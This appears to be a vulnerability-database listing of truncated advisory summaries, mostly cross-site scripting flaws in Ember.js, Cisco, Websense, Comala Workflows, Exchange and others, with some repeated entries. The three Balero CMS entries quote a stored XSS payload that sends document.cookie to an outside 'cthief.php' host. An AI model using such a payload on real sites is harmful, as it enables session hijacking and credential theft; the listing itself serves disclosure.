Tilde Ember.js Cross-Site Scripting Vulnerability

Tilde Ember.js is a set of JavaScript frameworks for creating web applications. Tilde Ember.js suffers from a cross-site scripting vulnerability due to the failure of the program's view "select" option's optionLabelPath property to adequately filter user-submitted input, which allows remote...

TAGAWA Takao TransmitMail Cross-Site Scripting Vulnerability

TAGAWA Takao TransmitMail is a PHP-based mail program. TAGAWA Takao TransmitMail suffers from a cross-site scripting vulnerability that can be exploited by remote attackers to inject malicious script or HTML code, which can be used to gain access to sensitive information or hijack user sessions...

novnc: session hijack through insecurely set session token cookies

It was discovered that noVNC did not properly set the 'secure' flag when issuing cookies. An attacker could use this flaw to intercept cookies via a man-in-the-middle attack...

novnc: session hijack through insecurely set session token cookies

It was discovered that noVNC did not properly set the 'secure' flag when issuing cookies. An attacker could use this flaw to intercept cookies via a man-in-the-middle attack...

Cisco Web Security Appliance Cross-Site Scripting Vulnerability (CNVD-2015-02626)

The Cisco Adaptive Security Appliance is an adaptive security appliance that provides modules for security and VPN services. A cross-site scripting vulnerability exists in the filter search form in the Cisco Adaptive Security Appliance web management page, which allows remote attackers to exploit...

Cisco TelePresence Collaboration Desk and Room Endpoints TC Software Cross-Site Scripting Vulnerability

Cisco TelePresence is a telepresence conferencing solution developed by Cisco. A cross-site scripting vulnerability exists in the login page of Cisco TC Software versions prior to 7.1.0 on Cisco TelePresence Collaboration Desk and Room Endpoints appliances, which allows remote attackers to exploi...

Comala Workflows /plugins/approvalsworkflow/saveworkflowmarkup.actio has multiple cross-site scripting vulnerabilities

Comala Workflows is a WEB-based application. The Comala Workflows /plugins/approvalsworkflow/saveworkflowmarkup.action script handles a cross-site scripting vulnerability in workflowMarkup that can be exploited by a remote attacker to construct a malicious URI, which induces the user to parse it,...

Multiple Cross-Site Scripting Vulnerabilities in Comala Workflows saveproperties.action

Comala Workflows is a WEB-based application. Multiple cross-site scripting vulnerabilities exist in the Comala Workflows saveproperties.action script, which can be exploited by a remote attacker to construct a malicious URI and trick a user into parsing it, which can be used to obtain a sensitive...

Comala Workflows newtask.action taskName has multiple reflected cross-site scripting vulnerabilities

Comala Workflows is a WEB-based application. Comala Workflows newtask.action script handles A cross-site scripting vulnerability exists in taskName, which can be exploited by a remote attacker to construct a malicious URI and trick the user into parsing it, which can be used to obtain a sensitive...

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities

Balero CMS 0.7.2 - Multiple JSHTML Injection Vulnerabilities document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pent...

Balero CMS 0.7.2 - Multiple JS/HTML Injection Vulnerabilities

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;" /...

Balero CMS 0.7.2 Cross Site Scripting

document.cookie="counter=1confirm'XSS'; path=/balerocms/"; csrf+stored xss+filter bypass+session hijack: document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;"...

OpenStack Compute websocket request source incorrect checksum validation hijacking vulnerability

OpenStack is a cloud computing platform developed by Rackspace and NASA to help service providers and on-premises organizations implement cloud infrastructures similar to Amazon EC2 and S3. OpenStack Compute and kilo fails to properly calibrate the source of Websocket requests vulnerability allow...

Multiple Cross-Site Scripting Vulnerabilities in Websense TRITON AP-DATA

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-DATA suffers from multiple cross-site scripting vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code that can be used to gain access to sensitive information or...

McAfee Data Loss Prevention Endpoint EPO Extended Cross-Site Scripting Vulnerability

McAfee Data Loss Prevention Endpoint DLPe is an integrated endpoint data protection solution from the U.S. company McAfee McAfee. The McAfee Data Loss Prevention Endpoint DLPe epo extension suffers from a cross-site scripting vulnerability that could be exploited by a remote attacker to inject...

Websense TRITON AP-WEB Exception and Scan Exception Page Cross-Site Scripting Vulnerability

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-WEB Exceptions and Scanning Exceptions Pages suffers from a cross-site scripting vulnerability that allows remote attackers to exploit the vulnerability to inject malicious script or HTML code, which can be...

Websense Triton and V-Series HTML Injection Vulnerabilities

Websense TRITON is the Unified Content Architecture for data security. Websense TRITON AP-WEB versions prior to 8.0.0 and V-Series 7.7 appliances suffer from multiple HTML injection vulnerabilities that can be exploited by remote attackers to inject malicious script or HTML code, which can be use...

SuperWebMailer Cross-Site Scripting Vulnerability

SuperWebMailer is a WEB-based email application. A cross-site scripting vulnerability exists in SuperWebMailer defaultnewsletter.php, which allows remote attackers to exploit the vulnerability to inject malicious script or HTML code, which can be used to obtain sensitive information or hijack use...

724CMS Has Multiple Cross-Site Scripting Vulnerabilities

724CMS is a content management system. Multiple cross-site scripting vulnerabilities exist in 724CMS due to the program failing to properly filter user-submitted input. A remote attacker can exploit the vulnerabilities to construct malicious URIs and trick users into parsing them, which can be us...

Microsoft Exchange Server Canary Parameter Cross-Site Scripting Vulnerability

Microsoft Exchange Server is an enterprise-class mail service program. A cross-site scripting vulnerability exists in Microsoft Exchange Server's handling of user-submitted parameters, which can be exploited by remote attackers to construct malicious URIs and trick users into parsing them, which...